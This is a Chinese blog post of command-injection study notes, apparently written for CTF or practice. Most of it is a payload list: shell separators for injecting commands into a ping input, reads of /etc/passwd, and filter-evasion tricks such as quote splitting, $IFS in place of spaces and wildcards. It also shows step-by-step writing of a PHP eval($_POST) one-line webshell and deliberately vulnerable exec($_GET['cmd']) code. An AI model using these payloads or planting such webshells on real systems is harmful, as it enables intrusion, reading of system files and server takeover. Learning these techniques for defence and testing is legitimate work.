★命令执行漏洞 Command Injection

命令执行漏洞/命令注入
命令网站以操作系统的身份去执行某个命令
ping 127.0.0.1 & ipconfig  //在windows是执行完一个再执行后面一个  linux是几乎同时执行
ping 127.0.0.1 && ipconfig  //windwos是执行完前一个再执行后一个 Linux也是执行完前一个再执行后一个
ping 127.0.0.1 &;& ipconfig  //windows中不能用 linux中其中的分号可以被解析为空 可以用来绕过防火墙限制
ping 127.0.0.1 || ipconfig   //在windows中前面无法执行才会执行后面的,否则就只前面的  在linux中也是or 也是这样执行的
ping 127.0.0.1 | cat /etc/passwd    //linux中叫管道符,把前面命令执行的结果给后面的命令去执行
防火墙屏蔽解决:
1.面对屏蔽ls等关键词 可以使用单引号
127.0.0.1 | l's'
2.有的文件无法执行(linux)
127.0.0.1 | c'h'mod 777 ../key.php
127.0.0.1 | chmo\d 777 ../key.php   //如果单引号也被屏蔽的话
3.linux下的cat tac head tail的屏蔽
127.0.0.1 | paste ../haha.php
4.直接读取文件( 必须是绝对路径 ./这种相对路径不行
127.0.0.1;curl file:///etc/passwd
5.php关键字的屏蔽情况 但是要求是读取haha.php
127.0.0.1 | c'a't ../haha.ph*
127.0.0.1 | c'a't ../haha.ph?
6.屏蔽空格  可以用其他字符替代空格
127.0.0.1&&cat${IFS}../haha.php
127.0.0.1&&cat$IFS$9../haha.php
还可以使用 <>  <  %20  %09  %IFS  $IFS  ${IFS}  $IFS$9 替代空格
$IFS
${IFS}
$IFS$1 //1 改 成 1改成1改成加其他数字貌似都行
<
<>
{cat,flag.php} //用逗号实现了空格功能
%20
%09
7.屏蔽cat的情况
其他可以查看文件的命令有
cat tac more less head tail nl tailf sort paste

cat:从第一行开始显示内容,显示所有内容
tac:从后往前
more:一页一页查看内容
less:
head:查看头几行
tail:查看后几行
nl:类似于cat -n  显示行号
tailf:类似于 tail -f 
补充linux命令:(详情见linux命令部分)
echo haha > 1.txt      //在1.txt里写入haha(覆盖)(windows会自动换一行 特性而已)
echo haha >> 1.txt     //追加  但是会换行追加
set /p="haha1" >zj.txt
set /p="haha2" >>zj.txt  //它的追加不会换行,会直接在之前的内容后面加上去
echo -e 'di3hang' >>zj.txt  //在linux上 -e表示的不换行的意思
可以用来写入一句话木马
linux下echo 后面的单引号双引号都不会被存进去 但是windows下的echo后面的内容会被同样写入进去
PS:windows下不能使用echo 因为输入流>会和php的<>干扰 所以必须要引号进行辅助 但是wincdows下echo会把引号也输入进去 所以必须要用set函数
但是linux下set和echo函数都可以使用 只不过根据需求区分 echo可以设置换行和不换行 但是set不能换行
windows:
 
set /p="<?php " >> z.php
set /p="eval(" >> z.php
set /p="$_POST[1]" >> z.php
set /p=");?>" >> z.php
linux:
echo -e '<?php\c ' >> z.php
echo -e 'eval(\c' >> z.php
echo -e '$_POST[1]\c' >> z.php
echo -e ');?>\c' >> z.php
echo '<?php' >>m.php
echo -e 'phpin\c' >> m.php
echo -e 'fo()\c' >> m.php
echo -e '?>\c' >> m.php
命令执行写入一句话木马测试代码:
<?php
$a=$_GET['cmd'];
$b=exec($a);
echo $b;
?>

命令执行漏洞复现代码
<?php
$a=$_GET['cmd'];
$b=exec($a);
echo $b;
?>
<?php
    echo strlen($_GET['cmd']);
    if(isset($_GET['cmd']) && strlen($_GET['cmd']) <=30){
        @exec($_GET['cmd']);
    }
?>

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Simon_Smith

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值